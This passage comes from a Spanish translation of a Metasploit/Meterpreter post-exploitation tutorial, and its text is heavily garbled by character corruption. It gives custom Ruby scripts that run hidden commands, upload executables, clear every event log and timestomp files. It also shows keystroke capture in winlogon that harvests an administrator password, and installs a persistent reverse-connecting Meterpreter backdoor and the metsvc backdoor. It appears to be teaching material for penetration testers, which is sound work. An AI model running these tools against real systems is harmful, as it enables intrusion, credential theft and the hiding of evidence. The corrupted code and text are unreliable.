sesin, se utiliza el comando de las sesiones con el C?iC del interruptor y el nDmero de la sesin para
interactuar con !l=
PZQ =endn4 sta4e (%,0&&( bytes)
PZQ Meterpreter sesson , opened (,)-.,(0.,.,/0M.... 1> ,)-.,(0.,.,'.M,'.&)
msf e!plot("andler) > sessons 1 ,
PZQ =tartn4 nteracton wt" ,...
meterpreter >
$ustom Scriptin
Scripts 2ersonali-ados
'hora que tenemos una idea de cmo utilizar irb para probar llamadas a la '/4, echemos un vistazo a
lo que los ob%etos sean devueltos y prueba de estructuras bsicas. 'hora, sin uin primero estara
completa sin la aplicacin C"ello (orldC, por lo que le permite crear un script llamado Chello2orld.rbC
y uardarlo en > pentest>exploits>frame2or3E>scripts>meterpreter.
rootGbtM]H ec"o prntIstatus(>ello Eorld) >
*pentest*e!plots*framewor#&*scrpts*meterpreter*"elloworld.rb
'hora e%ecutar el script desde la consola mediante el comando de marcha.
meterpreter > run "elloworld
PZQ >ello Eorld
meterpreter >
'hora, vamos a construir sobre esta base. :amos a a0adir un par de llamadas a la '/4 para otros el
uin. '0adir estas lneas al uin=
prntIerror(t"s s an error!)
prntIlne(t"s s a lne)
as como cualquier nDmero de referencias en 4nternet vale la pena encontrar cuando hay alo especfico
que usted est buscando.
meterpreter > run "elloworld
PZQ >ello Eorld
P1Q t"s s an error!
t"s s a lne
meterpreter >
Final helloworld4r
prntIstatus(:>ello Eorld:)
prntIerror(:t"s s an error!:)
prntIlne(:2"s s a lne:)
&aravillosoZ :amos a ir un poco ms all y crear una funcin para imprimir informacin de carcter
eneral y a0adir control de errores para que en un seundo archivo. Esta nueva funcin tendr la
siuiente arquitectura=
def 4ennfo(sesson)
be4n
e..
rescue MM3!cepton => e
e..
end
end
El uso de funciones nos permite hacer nuestro cdio ms modular y reutilizable. Este mane%o de
errores nos ayuda en la solucin de problemas de nuestros scripts, as que usar alunas de las llamadas
a la '/4 hemos cubierto anteriormente, podramos construir una funcin que tiene este aspecto=
def 4etnfo(sesson)
be4n
sysnfo = sesson.sys.conf4.sysnfo
runpr5 = sesson.sys.conf4.4etud
prntIstatus(:;ettn4 system nformaton ...:)
prntIstatus(:t2"e tar4et mac"ne 9= s HOsysnfoPA9=AQV:)
prntIstatus(:t2"e computer name s HOAComputerAV :)
prntIstatus(:t=crpt runnn4 as HOrunpr5V:)
rescue MM3!cepton => e
prntIerror(:2"e follown4 error was encountered HOeV:)
end
end
:amos a romper lo que estamos haciendo aqu. Se define una funcin llamada etinfo que tiene un
paramater que estamos poniendo en una variable local denominada -sesin-. Esta variable tiene un par
de m!todos que son llamados para extraer informacin del sistema y de usuario, despu!s de lo cual
podemos imprimir un par de lneas de estado, que comunica los resultados de los m!todos. En alunos
casos, la informacin que se imprime sale de un hash, as que tenemos que estar seuros de llamar a la
variable correctamente. Tambi!n contamos con un controlador de errores coloc all que devolver lo
que aluna vez un mensa%e de error que podamos encontrar.
'hora que tenemos esta funcin, slo tenemos que llamar y darle la sesin del cliente &eterpreter. /ara
llamar a ella, basta con colocar el siuiente texto al final de nuestro script=
4etnfo(clent)
'hora lanzamos el prorama y podemos ver la salida de la misma=
meterpreter > run "elloworld-
PZQ ;ettn4 system nformaton ...
PZQ 2"e tar4et mac"ne 9= s Endows KP ($uld -(''R =er5ce Pac# &).
PZQ 2"e computer name s Computer
PZQ =crpt runnn4 as EBLKP8M',labuser
Final helloworldC4r
def 4etnfo(sesson)
be4n
sysnfo = sesson.sys.conf4.sysnfo
runpr5 = sesson.sys.conf4.4etud
prntIstatus(:;ettn4 system nformaton ...:)
prntIstatus(:t2"e tar4et mac"ne 9= s HOsysnfoPA9=AQV:)
prnt Istatus(:t2"e computer name s HOAComputerAV :)
prntIstatus(:t=crpt runnn4 as HOrunpr5V:)
rescue MM3!cepton => e
prntIerror(:2"e follown4 error was encountered HOeV:)
end
end
4etnfo(clent)
$omo puede ver, estos pasos muy sencillos construir para darnos las bases para la creacin de scripts
avanzados &eterpreter. :amos a ampliar esta secuencia de comandos para recopilar ms informacin
sobre nuestro ob%etivo. :amos a crear otra funcin para la e%ecucin de comandos y la impresin de su
produccin=
def lstIe!ec(sessonRcmdlst)
prntIstatus(:?unnn4 Command Cst ...:)
r=AA
sesson.responseItmeout=,-'
cmdlst.eac" do [cmd[
be4n
prntIstatus :trunnn4 command HOcmdV:
r = sesson.sys.process.e!ecute(cmd.e!e *c HOcmdVR nlR OA>ddenA =>
trueR AC"annel+edA => trueV)
w"le(d = r.c"annel.read)
prntIstatus(:tHOdV:)
end
r.c"annel.close
r.close
rescue MM3!cepton => e
prntIerror(:3rror ?unnn4 Command HOcmdVM HOe.classV HOeV:)
end
end
end
5na vez ms, vamos a romper lo que estamos haciendo aqu. Se define una funcin que toma dos
/armetros, el seundo de los cuales ser un array. 5n tiempo de espera tambi!n se establece para que
la funcin no depende de nosotros. ' continuacin, establecemos un for each bucle que se e%ecuta en la
matriz que se pasa a la funcin que tendr cada elemento de la matriz y lo e%ecuta en el sistema a trav!s
de Ccmd.exe > cC, de imprimir el estado que se devuelve de la e%ecucin de comandos. #inalmente, un
controlador de errores se establece para la captura de todas las cuestiones que suren durante la
e%ecucin de la funcin.
'hora establecemos una serie de comandos para enumerar el host de destino=
commands = P setR
pconf4 *allR
arp faQ
y lueo lo llaman con el comando
lstIe!ec(clentRcommands)
$on eso en su luar, cuando lo e%ecutamos, obtenemos=
meterpreter > run "elloworld&
PZQ ?unnn4 Command Cst ...
PZQ runnn4 command set
PZQ DCC<=3?=P?96BC3=CM\7ocuments and =ettn4s\Dll <sers
DPP7D2D=CM\7ocuments and =ettn4s\P'EL&7\Dpplcaton 7ata
CommonPro4ram6les=CM\Pro4ram 6les\Common 6les
C9MP<23?LDM3=2D?;32
Com=pec=CM\EBLL2\system&-\cmd.e!e
>9M37?B83=CM
>9M3PD2>=
C9;9L=3?83?=2D?;32
L<M$3?I96IP?9C3==9?==,
9==EndowsIL2
9s-CbPat"=CM\EBLL2\system&-\os-dllN
Pat"=CM\EBLL2\system&-NCM\EBLL2NCM\EBLL2\=ystem&-\Ebem
PD2>3K2=.C9MN.3K3N.$D2N.CM7N.8$=N.8$3N.b=N.b=3N.E=6N.E=>
P?9C3==9?ID?C>B23C2<?3=!0(
P?9C3==9?IB73L2B6B3?=!0( 6amly ( Model % =teppn4 (R ;enuneBntel
P?9C3==9?IC383C=(
P?9C3==9?I?38B=B9L='%'(
Pro4ram6les=CM\Pro4ram 6les
P?9MP2=cPc;
=ystem7r5e=CM
=ystem?oot=CM\EBLL2
23MP=CM\79C<M3],\P'EL&7\C9CDC=],\2emp
2MP=CM\79C<M3],\P'EL&7\C9CDC=],\2emp
<=3?79MDBL=2D?;32
<=3?LDM3=P'EL&7
<=3?P?96BC3=CM\7ocuments and =ettn4s\P'EL&7
wndr=CM\EBLL2
PZQ runnn4 command pconf4 *all
PZQ
Endows -''' BP Conf4uraton
>ost Lame . . . . . . . . . . . . M tar4et
Prmary 7L= =uff! . . . . . . . M
Lode 2ype . . . . . . . . . . . . M >ybrd
BP ?outn4 3nabled. . . . . . . . M Lo
EBL= Pro!y 3nabled. . . . . . . . M Lo
7L= =uff! =earc" Cst. . . . . . M localdoman
3t"ernet adapter Cocal Drea ConnectonM
Connecton1specfc 7L= =uff! . M localdoman
7escrpton . . . . . . . . . . . M 8Mware Dccelerated DM7 PCLet Ddapter
P"yscal Dddress. . . . . . . . . M ''1'C1-)10/10,1//
7>CP 3nabled. . . . . . . . . . . M Jes
Dutoconf4uraton 3nabled . . . . M Jes
BP Dddress. . . . . . . . . . . . M ,%-.,(.,'..,./
=ubnet Mas# . . . . . . . . . . . M -//.-//.-//.'
7efault ;ateway . . . . . . . . . M ,%-.,(.,'..-
7>CP =er5er . . . . . . . . . . . M ,%-.,(.,'..-/.
7L= =er5ers . . . . . . . . . . . M ,%-.,(.,'..-
Prmary EBL= =er5er . . . . . . . M ,%-.,(.,'..-
Cease 9btaned. . . . . . . . . . M 2uesdayR Du4ust -/R -'') ,'M/&M.0 PM
Cease 3!pres . . . . . . . . . . M 2uesdayR Du4ust -/R -'') ,,M-&M.0 PM
PZQ runnn4 command arp 1a
PZQ
BnterfaceM ,%-.,(.,'..,./ on Bnterface '!,'''''&
Bnternet Dddress P"yscal Dddress 2ype
,%-.,(.,'..- ''1/'1/(1eb1db1'( dynamc
,%-.,(.,'..,/' ''1'c1-)1a%1f,1c/ dynamc
meterpreter >
>inal hello<orldC.rb
def lstIe!ec(sessonRcmdlst)
prntIstatus(:?unnn4 Command Cst ...:)
r=AA
sesson.responseItmeout=,-'
cmdlst.eac" do [cmd[
be4n
prntIstatus :runnn4 command HOcmdV:
r = sesson.sys.process.e!ecute(:cmd.e!e *c HOcmdV:R nlR OA>ddenA =>
trueR AC"annel+edA => trueV)
w"le(d = r.c"annel.read)
prntIstatus(:tHOdV:)
end
r.c"annel.close
r.close
rescue MM3!cepton => e
prntIerror(:3rror ?unnn4 Command HOcmdVM HOe.classV HOeV:)
end
end
end
commands = P :set:R
:pconf4 *all:R
:arp 1a:Q
lstIe!ec(clentRcommands)
$omo puede ver, crear scripts personalizados &eterpreter no es difcil si se toma un paso a la vez, la
construccin en s misma. Slo recuerde que la prueba con frecuencia, y se refieren a la fuente de cmo
diferentes llamadas a la '/4 de operar.
5seful '/4 $alls
/as llamadas a A2&
:amos a cubrir alunas llamadas a '/4 comDn para el uin de la &eterpreter y escribir un uin con
alunas de estas llamadas a '/4. /ara llamadas a '/4 y e%emplos, ver el cdio )ispacher $omando y
la documentacin de 6EN que se mencion anteriormente.
/ara ello, es ms fcil para nosotros a usar el shell irb que pueden ser utilizadas para e%ecutar llamadas
a '/4 directamente y ver lo que es devuelto por estas llamadas. 9os metemos en el 46; mediante la
e%ecucin del C46;C comando de la shell &eterpreter.
meterpreter > rb
PZQ =tartn4 B?$ s"ell
PZQ 2"e AclentA 5arable "olds t"e meterpreter clent
>>
:amos a empezar con las llamadas de recoida de informacin sobre el ob%etivo. :amos a obtener el
nombre de la mquina del host de destino. 7a llamada a '/4 para esto es Cclient.sys.confi.sysinfo -
>> clent.sys.conf4.sysnfo
=> O:9=:=>:Endows KP ($uld -(''R =er5ce Pac# &).:R :Computer:=>:EBLKP8M',:V
>>
$omo podemos ver en la 46;, una serie de valores fueron devueltos. Si queremos conocer el tipo de
valores devueltos, se puede utilizar el ob%eto de la clase para aprender lo que se devuelve=
>> clent.sys.conf4.sysnfo.class
=> >as"
>>
/odemos ver que tenemos un hash, por lo que podemos llamar a los elementos de esta suma a trav!s de
su clave. )iamos que queremos que la versin del sistema operativo slo=
>> clent.sys.conf4.sysnfoPA9=AQ
=> :Endows KP ($uld -(''R =er5ce Pac# &).:
>>
'hora vamos a obtener las credenciales con las que la cara est en marcha. /ara ello, se utiliza el
Cclient.sys.confi.etuidC llamada a '/4=
>> clent.sys.conf4.4etud
=> :EBLKP8M',\labuser:
>>
/ara obtener el 4) del proceso en virtud del cual la sesin se est e%ecutando, se utiliza el
Cclient.sys.process.etpid -llamada que se puede utilizar para determinar cul es el proceso de la sesin
se e%ecuta en=
>> clent.sys.process.4etpd
=> (0.
/odemos utilizar llamadas a '/4 en -client.sys.net Cpara recopilar informacin sobre la confiuracin
de red y el medio ambiente en el host de destino. /ara obtener una lista de las interfaces y su
confiuracin se utiliza la llamada a '/4 Cclient.net.confi.interfaces=
>> clent.net.conf4.nterfaces
=> PHR HQ
>> clent.net.conf4.nterfaces.class
=> Drray
$omo se puede ver que devuelve un array de ob%etos que son de tipo 6ex== Enviar== &eterpreter==
Extensiones== ST)'/4== 9et== 4nterfaz que representa cada una de las interfaces. /odemos iterar a
trav!s de este con%unto de ob%etos y obtener lo que se llama una salida bastante de cada una de las
interfaces de esta manera=
>> nterfaces = clent.net.conf4.nterfaces
=> PHR HQ
>> nterfaces.eac" do [[
W> puts .pretty
>> end
M= 2CP Coopbac# nterface
>ardware MDCM ''M''M''M''M''M''
BP Dddress M ,-%.'.'.,
Letmas# M -//.'.'.'
DM7 PCL32 6amly PCB 3t"ernet Ddapter 1 Pac#et =c"eduler Mnport
>ardware MDCM ''M'cM-)MdcMaaMe.
BP Dddress M ,)-.,(0.,.,'.
Letmas# M -//.-//.-//.'
1seful Functions
Funciones 1tiles
Echemos un vistazo a alunas de las funciones de otro tipo que podran ser Dtiles en la construccin de
un uin &eterpreter. 9o dude en volver a utilizar estos como sea necesario.
#uncin de la e%ecucin de una lista de comandos o de un solo comando y devuelve el resultado=
H1111111111111111111111111111111111111111111111111111111111111111111111111111111
def lstIe!ec(sessonRcmdlst)
f cmdlst.#ndIofW =trn4
cmdlst = cmdlst.toIa
end
prntIstatus(:?unnn4 Command Cst ...:)
r=AA
sesson.responseItmeout=,-'
cmdlst.eac" do [cmd[
be4n
prntIstatus :trunnn4 command HOcmdV:
r = sesson.sys.process.e!ecute(cmdR nlR OA>ddenA => trueR
AC"annel+edA => trueV)
w"le(d = r.c"annel.read)
prntIstatus(:tHOdV:)
end
r.c"annel.close
r.close
rescue MM3!cepton => e
prntIerror(:3rror ?unnn4 Command HOcmdVM HOe.classV HOeV:)
end
end
end
7a funcin de $omprobacin de 5'$=
H1111111111111111111111111111111111111111111111111111111111111111111111111111111
def c"ec#uac(sesson)
uac = false
be4n
wn5erson = sesson.sys.conf4.sysnfo
f wn5ersonPA9=AQ=] *Endows 8sta* or wn5ersonPA9=AQ=] *Endows %*
prntIstatus(:C"ec#n4 f <DC s enaled ...:)
#ey = A>XCM=962ED?3McrosoftEndowsCurrent8ersonPolces=ystemA
rootI#eyR baseI#ey = sesson.sys.re4stry.splt#ey(#ey)
5alue = :3nableC<D:
openI#ey = sesson.sys.re4stry.openI#ey(rootI#eyR baseI#eyR X3JI?3D7)
5 = openI#ey.@ueryI5alue(5alue)
f 5.data == ,
uac = true
else
uac = false
end
openI#ey.closeI#ey(#ey)
end
rescue MM3!cepton => e
prntIstatus(:3rror C"ec#n4 <DCM HOe.classV HOeV:)
end
return uac
end
#uncin para subir archivos y e%ecutables
H1111111111111111111111111111111111111111111111111111111111111111111111111111111
def upload(sessonRfleRtr4loc = nl)
f not MM6le.e!stsW(fle)
rase :6le to <pload does not e!sts!:
else
f tr4loc == nl
locaton = sesson.fs.fle.e!pandIpat"(:F23MPF:)
else
locaton = tr4loc
end
be4n
f fle =] *=Z(.e!e)*
fleontr4t = :HOlocatonVs5"ostHOrand(,'')V.e!e:
else
fleontr4t = :HOlocatonV2MPHOrand(,'')V:
end
prntIstatus(:<ploadn4d HOfleV....:)
sesson.fs.fle.uploadIfle(:HOfleontr4tV:R:HOfleV:)
prntIstatus(:HOfleV uploaded!:)
prntIstatus(:HOfleontr4tV:)
rescue MM3!cepton => e
prntIstatus(:3rror uploadn4 fle HOfleVM HOe.classV HOeV:)
end
end
return fleontr4t
end
#uncin para el funcionamiento de una lista de comandos (&4$ almacenada en una matriz, devuelve
una cadena
H1111111111111111111111111111111111111111111111111111111111111111111111111111111
def wmce!ec(sessonRwmccmds= nl)
wndr = AA
tmpout = AA
wndrtmp = ::
sesson.responseItmeout=,-'
be4n
tmp = sesson.fs.fle.e!pandIpat"(:F23MPF:)
wmcfl = tmp U ::U sprntf(:F./d:Rrand(,'''''))
wmccmds.eac" do [wm[
prntIstatus :runnn4 command wmc HOwmV:
cmd = :cmd.e!e *c F=J=23M?992Fsystem&-wbemwmc.e!e:
opt = :*appendMHOwmcflV HOwmV:
r = sesson.sys.process.e!ecute( cmdR optROA>ddenA =>
trueV)
sleep(-)
HMa#n4 sure t"at wmc fnns"es before e!ecutn4 ne!t
wmc command
pro4-c"ec# = :wmc.e!e:
found = '
w"le found == '
sesson.sys.process.4etIprocesses().eac" do [![
found =,
f pro4-c"ec# == (!PAnameAQ.downcase)
sleep('./)
prntIlne :.:
found = '
end
end
end
r.close
end
H ?ead t"e output fle of t"e wmc commands
wmoutfle = sesson.fs.fle.new(wmcflR :rb:)
untl wmoutfle.eofW
tmpout << wmoutfle.read
end
wmoutfle.close
rescue MM3!cepton => e
prntIstatus(:3rror runnn4 EMBC commandsM HOe.classV HOeV:)
end
H Ee delete t"e fle wt" t"e wmc command output.
c = sesson.sys.process.e!ecute(:cmd.e!e *c del HOwmcflV:R nlR OA>ddenA
=> trueV)
c.close
tmpout
end
#uncin para rabar datos en un archivo=
H11111111111111111111111111111111111111111111111111111
def flewrt(fle-wrtR data-wrt)
output = MM6le.open(fle-wrtR :a:)
data-wrt.eac"Ilne do [d[
output.puts(d)
end
output.close
end
7a funcin de borrar todos los reistros de sucesos=
H1111111111111111111111111111111111111111111111111111111111111111111111111111111
def clre5tl4s(sesson)
e5tlo4s = P
AsecurtyAR
AsystemAR
AapplcatonAR
Adrectory ser5ceAR
Adns ser5erAR
Afle replcaton ser5ceA
Q
prntIstatus(:Clearn4 35ent Co4sR t"s wll lea5e and e5ent /,%:)
be4n
e5tlo4s.eac" do [e5l[
prntIstatus(:tClearn4 t"e HOe5lV 35ent Co4:)
lo4 = sesson.sys.e5entlo4.open(e5l)
lo4.clear
end
prntIstatus(:Dlll 35ent Co4s "a5e been cleared:)
rescue MM3!cepton => e
prntIstatus(:3rror clearn4 35ent Co4M HOe.classV HOeV:)
end
end
#uncin de $ambio de Tiempo de acceso, fecha de modificacin y hora de creacin de 'rchivos
incluidos en una matriz=
H1111111111111111111111111111111111111111111111111111111111111111111111111111111
H 2"e fles "a5e to be n FEn7rF=ystem&- folder.
def c"mace(sessonRcmds)
wndr = AA
wndrtmp = ::
prntIstatus(:C"an4n4 Dccess 2meR Modfed 2me and Created 2me of 6les
<sed:)
wndr = sesson.fs.fle.e!pandIpat"(:FEn7rF:)
cmds.eac" do [c[
be4n
sesson.core.use(:pr5:)
fletostomp = wndr U :system&-:U c
fl-clone = wndr U :system&-c"#ds#.e!e:
prntIstatus(:tC"an4n4 fle MDC3 attrbutes on HOfletostompV:)
sesson.pr5.fs.setIfleImaceIfromIfle(fletostompR fl-clone)
rescue MM3!cepton => e
prntIstatus(:3rror c"an4n4 MDC3M HOe.classV HOeV:)
end
end
end
&aintainin 'ccess
Mantenimiento del Acceso
Tras superar con !xito poner en peliro una ran cantidad, si las relas del %ueo lo permiten, a menudo
es una buena idea para aseurarse de que usted ser capaz de mantener su acceso a un nuevo examen o
la penetracin de la red de destino. Esto tambi!n aseura que usted ser capaz de volver a conectarse a
su vctima si est usando un exploit de una sola vez o accidente de un servicio en el ob%etivo. En
situaciones como !stas, no puede ser capaz de recuperar el acceso de nuevo hasta que se reinicie el
ob%etivo es preformada.
5na vez que han obtenido acceso a un sistema, en Dltima instancia, puede tener acceso a los sistemas
que comparten la misma subred. /ivotante de un sistema a otro, obtiene informacin sobre la
actividades de los usuarios mediante el control de sus pulsaciones, y los usuarios suplantando con
fichas capturadas son slo alunas de las t!cnicas que se describen ms adelante en este mdulo.
*eyloin
5na vez que se han aprovechado de un sistema existen dos m!todos diferentes que puede tomar, ya sea
destruir y apoderarse o ba%a y lenta.
;a%a y lenta puede llevar a un montn de informacin interesante, si usted tiene la paciencia y la
disciplina. 5na herramienta que puede utilizar para la recopilacin de la informacin ba%o y lento es el
uin capturador de teclado con &eterpreter. Esta herramienta est muy bien dise0ado, que le permite
capturar todas las entradas de teclado del sistema, sin necesidad de escribir nada en el disco, de%ando un
espacio mnimo para los investiadores forenses a seuir adelante hasta el. /erfecto para conseuir
contrase0as, cuentas de usuario, y todo tipo de informacin valiosa.
:amos a echar un vistazo en la accin. En primer luar, vamos a explotar un sistema de forma normal.
msf e!plot(warftpdI,(/Iuser) > e!plot
PZQ >andler bndn4 to C>9=2 '.'.'.'
PZQ =tarted re5erse "andler
PZQ Connectn4 to 62P ser5er ,%-.,(.,'..,./M-,...
PZQ Connected to tar4et 62P ser5er.
PZQ 2ryn4 tar4et Endows -''' =P'1=P. 3n4ls"...
PZQ 2ransmttn4 ntermedate sta4er for o5er1s+ed sta4e...(,), bytes)
PZQ =endn4 sta4e (-(/' bytes)
PZQ =leepn4 before "andln4 sta4e...
PZQ <ploadn4 7CC (%/%0% bytes)...
PZQ <pload completed.
PZQ Meterpreter sesson . opened (,%-.,(.,'..,&'M.... 1> ,%-.,(.,'..,./M,-.()
meterpreter >
Entonces, vamos a mirar &eterpreter al proceso Explorer.exe para que no tena que preocuparse por
el proceso se reinicia de explotacin y el cierre de la sesin.
meterpreter > ps
Process lst
============
PB7 Lame Pat"
111 1111 1111
,.' smss.e!e \=ystem?oot\=ystem&-\smss.e!e
,00 wnlo4on.e!e WW\CM\EBLL2\system&-\wnlo4on.e!e
-,( ser5ces.e!e CM\EBLL2\system&-\ser5ces.e!e
--0 lsass.e!e CM\EBLL2\system&-\lsass.e!e
&0' s5c"ost.e!e CM\EBLL2\system&-\s5c"ost.e!e
.'0 spools5.e!e CM\EBLL2\system&-\spools5.e!e
... s5c"ost.e!e CM\EBLL2\=ystem&-\s5c"ost.e!e
.0' re4s5c.e!e CM\EBLL2\system&-\re4s5c.e!e
/'' M=2as#.e!e CM\EBLL2\system&-\M=2as#.e!e
/-0 8Mware=er5ce.e!e CM\Pro4ram 6les\8Mware8Mware 2ools\8Mware=er5ce.e!e
/00 EnM4mt.e!e CM\EBLL2\=ystem&-\E$3MEnM4mt.e!e
((. notepad.e!e CM\EBLL2\=ystem&-\notepad.e!e
%-. cmd.e!e CM\EBLL2\=ystem&-\cmd.e!e
%(0 3!plorer.e!e CM\EBLL2\3!plorer.e!e
0'' war1ftpd.e!e CM\Pro4ram 6les\Ear1ftpd\war1ftpd.e!e
000 8Mware2ray.e!e CM\Pro4ram 6les\8Mware\8Mware 2ools\8Mware2ray.e!e
0)( 8Mware<ser.e!e CM\Pro4ram 6les\8Mware\8Mware 2ools\8Mware<ser.e!e
).' frefo!.e!e CM\Pro4ram 6les\Mo+lla 6refo!\frefo!.e!e
)%- 2PDutoConn=5c.e!e CM\Pro4ram 6les\8Mware\8Mware
2ools\2PDutoConn=5c.e!e
,'00 2PDutoConnect.e!e CM\Pro4ram 6les\8Mware\8Mware
2ools\2PDutoConnect.e!e
meterpreter > m4rate %(0
PZQ M4ratn4 to %(0...
PZQ M4raton completed successfully.
meterpreter > 4etpd
Current pdM %(0
/or Dltimo, iniciar el 3eyloer, esperar un tiempo y mandar la salida.
meterpreter > #eyscanIstart
=tartn4 t"e #eystro#e snffer...
meterpreter > #eyscanIdump
7umpn4 captured #eystro#es...
t4oo4le.cm my credt ame! myusernamt" ame!passwordpassword
9o poda ser ms fcilZ ,bserve cmo las pulsaciones de teclado, como el control y la tecla de
retroceso se representan.
$omo bono adicional, si desea capturar informacin del sistema de inicio de sesin que acaba de
emirar al proceso 2inloon. Esto capturar las credenciales de todos los usuarios iniciar sesin en el
sistema, siempre y cuando este est en e%ecucin.
meterpreter > ps
Process lst
=================
PB7 Lame Pat"
111 1111 1111
.', wnlo4on.e!e CM\EBLL2\system&-\wnlo4on.e!e
meterpreter > m4rate .',
PZQ M4ratn4 to .',...
PZQ M4raton completed successfully.
meterpreter > #eyscanIstart
=tartn4 t"e #eystro#e snffer...
ZZZZ D few mnutes later after an admn lo4s n ZZZZ
meterpreter > #eyscanIdump
7umpn4 captured #eystro#es...
Ddmnstrator o"noes,5ebeen".!'red!
'qu podemos ver por el reistro en el proceso de 2inloon nos permite cosechar con eficacia a todos
los usuarios iniciar sesin en ese sistema y capturarlo. "emos capturado el 'dministrador de sesin con
una contrase0a de CohnoesOvebeenhIxGredZC.
/ersistent &eterpreter Service
Servicio Meterpreter persistente
)espu!s de pasar por todo el duro traba%o de la explotacin de un sistema, a menudo es una buena idea
salir de una manera ms fcil volver al sistema ms adelante. )e esta manera, si el servicio que explota
est inactivo o parche, aDn puede tener acceso al sistema. &etasploit tiene un uin &eterpreter,
persistence.rb, que va a crear un servicio &eterpreter que estarn disponibles para usted, incluso si el
sistema remoto se reinicia.
5na palabra de advertencia antes de que vayamos ms le%os. El &eterpreter persistente, como se
muestra aqu no requiere autenticacin. Esto sinifica que cualquiera que tena acceso al puerto
podran acceder a la puerta de atrsZ Esto no es una buena cosa si usted est llevando a cabo una prueba
de penetracin, ya que esto podra ser un rieso sinificativo. En una situacin real, aseDrese de
e%ercer la mxima precaucin y aseDrese de limpiar despu!s de ti mismo, cuando el compromiso se
hace.
5na vez que hemos explotado inicialmente el anfitrin, que e%ecuta el script de persistencia con el
modificador -?h- para ver qu! opciones estn disponibles=
meterpreter > run persstence 1"
9P2B9L=M
1D Dutomatcally start a matc"n4 mult*"andler to connect to t"e a4ent
1< Dutomatcally start t"e a4ent w"en t"e <ser lo4s on
1K Dutomatcally start t"e a4ent w"en t"e system boots
1" 2"s "elp menu
1 2"e nter5al n seconds between eac" connecton attempt
1p 2"e port on t"e remote "ost w"ere Metasplot s lstenn4
1r 2"e BP of t"e system runnn4 Metasplot lstenn4 for t"e connect bac#
:amos a confiurar nuestra sesin &eterpreter persistente que esperar hasta que un usuario inicia
sesin en el sistema remoto e intente conectarse de nuevo a nuestro oyente cada L seundos en la
direccin 4/ OUJ.OPX.O.FO en el puerto IIE
meterpreter > run persstence 1< 1 / 1p ..& 1r ,)-.,(0.,.%,
PZQ Creatn4 a persstent a4entM C>9=2=,)-.,(0.,.%, CP9?2=..& (nter5al=/
onboot=true)
PZQ Persstent a4ent scrpt s (,&)%( bytes lon4
PZQ <ploaded t"e persstent a4ent to CM\EBL79E=\23MP\yyP=PP3n.5bs
PZQ D4ent e!ecuted wt" PB7 .)-
PZQ Bnstalln4 nto autorun as
>XC<\=oftware\Mcrosoft\Endows\Current8erson\?un\JeJ>dl37y48D$r
PZQ Bnstalled nto autorun as
>XC<\=oftware\Mcrosoft\Endows\Current8erson\?un\JeJ>dl37y48D$r
PZQ 6or cleanup use commandM run multIconsoleIcommand 1rc
*root*.msf&*lo4s*persstence*K3L1KP1=P-1
$D?3I-',''0-,.-('-*cleanIupII-',''0-,.-('-.rc
meterpreter >
Tena en cuenta que la salida de secuencia de comandos que da la orden para eliminar el oyente
persistente cuando haya terminado con !l. 'seDrese de tomar nota de ella para que no de%e la bac3door
no autenticado en el sistema. /ara comprobar que funciona, reinicie el sistema a distancia y establecer
nuestro mane%ador de payload.
meterpreter > reboot
?ebootn4...
meterpreter > e!t
PZQ Meterpreter sesson & closed. ?easonM <ser e!t
msf e!plot(ms'0I'(%Inetap) > use e!plot*mult*"andler
msf e!plot("andler) > set PDJC9D7 wndows*meterpreter*re5erseItcp
PDJC9D7 => wndows*meterpreter*re5erseItcp
msf e!plot("andler) > set C>9=2 ,)-.,(0.,.%,
C>9=2 => ,)-.,(0.,.%,
msf e!plot("andler) > set CP9?2 ..&
CP9?2 => ..&
msf e!plot("andler) > e!plot
PZQ =tarted re5erse "andler on ,)-.,(0.,.%,M..&
PZQ =tartn4 t"e payload "andler...
$uando un usuario se conecta al sistema remoto, una sesin de &eterpreter se abri para nosotros.
PZQ =endn4 sta4e (%.0/.. bytes) to ,)-.,(0.,.,(,
PZQ Meterpreter sesson / opened (,)-.,(0.,.%,M..& 1> ,)-.,(0.,.,(,M,'./) at -','1
'01-, ,-M&,M.- 1'(''
meterpreter > sysnfo
ComputerM K3L1KP1=P-1$D?3
9= M Endows KP ($uld -(''R =er5ce Pac# -).
Drc" M !0(
Can4ua4eM enI<=
meterpreter >
&eterpreter ;ac3door Service
)espu!s de pasar por todo el duro traba%o de la explotacin de un sistema, a menudo es una buena idea
salir de una manera ms fcil volver al sistema ms adelante. )e esta manera, si el servicio que explota
est inactivo o parche, aDn puede tener acceso al sistema. 'qu es donde 'lexander Sotirov de -metsvc
Cviene muy bien y fue incorporada recientemente al tronco &etasploit. /ara leer acerca de la
implementacin oriinal de metsvc, vaya a http=>>222.phreedom.or>soft2are>metsvc> .
El uso de este bac3door, se puede obtener una shell &eterpreter en cualquier momento.
5na palabra de advertencia antes de que vayamos ms le%os. &etsvc como se muestra aqu no requiere
autenticacin. Esto sinifica que cualquiera que tena acceso al puerto podran acceder a la puerta de
atrsZ Esto no es una buena cosa si usted est llevando a cabo una prueba de penetracin, ya que esto
podra ser un rieso sinificativo. En una situacin real, usted podra alterar el orien para que requiera
autenticacin, o filtrar las conexiones remotas en el puerto a trav!s de alDn otro m!todo.
En primer luar, aprovechar el sistema remoto y mirar hacia el proceso de CExplorer.exeC en el caso
de que el usuario del servicio de comunicaciones explotados no responde y decide acabar con !l.
msf e!plot(&pro!y) > e!plot
PZQ =tarted re5erse "andler
PZQ 2ryn4 tar4et Endows KP =P- 1 3n4ls"...
PZQ =endn4 sta4e (%,)&(' bytes)
PZQ Meterpreter sesson , opened (,)-.,(0.,.,',M.... 1> ,)-.,(0.,.,'.M,)0&)
meterpreter > ps
Process lst
============
PB7 Lame Pat"
111 1111 1111
,&- ctfmon.e!e CM\EBL79E=\system&-\ctfmon.e!e
,%( s5c"ost.e!e CM\EBL79E=\system&-\s5c"ost.e!e
..' 8Mware=er5ce.e!e CM\Pro4ram 6les\8Mware\8Mware
2ools\8Mware=er5ce.e!e
(&- 3!plorer.3K3 CM\EBL79E=\3!plorer.3K3
%)( smss.e!e \=ystem?oot\=ystem&-\smss.e!e
0&( 8Mware2ray.e!e CM\Pro4ram 6les\8Mware\8Mware 2ools\8Mware2ray.e!e
0.. 8Mware<ser.e!e CM\Pro4ram 6les\8Mware\8Mware 2ools\8Mware<ser.e!e
00. csrss.e!e \WW\CM\EBL79E=\system&-\csrss.e!e
)'0 wnlo4on.e!e \WW\CM\EBL79E=\system&-\wnlo4on.e!e
)/- ser5ces.e!e CM\EBL79E=\system&-\ser5ces.e!e
)(. lsass.e!e CM\EBL79E=\system&-\lsass.e!e
,,-' 5mact"lp.e!e CM\Pro4ram 6les\8Mware\8Mware 2ools\5mact"lp.e!e
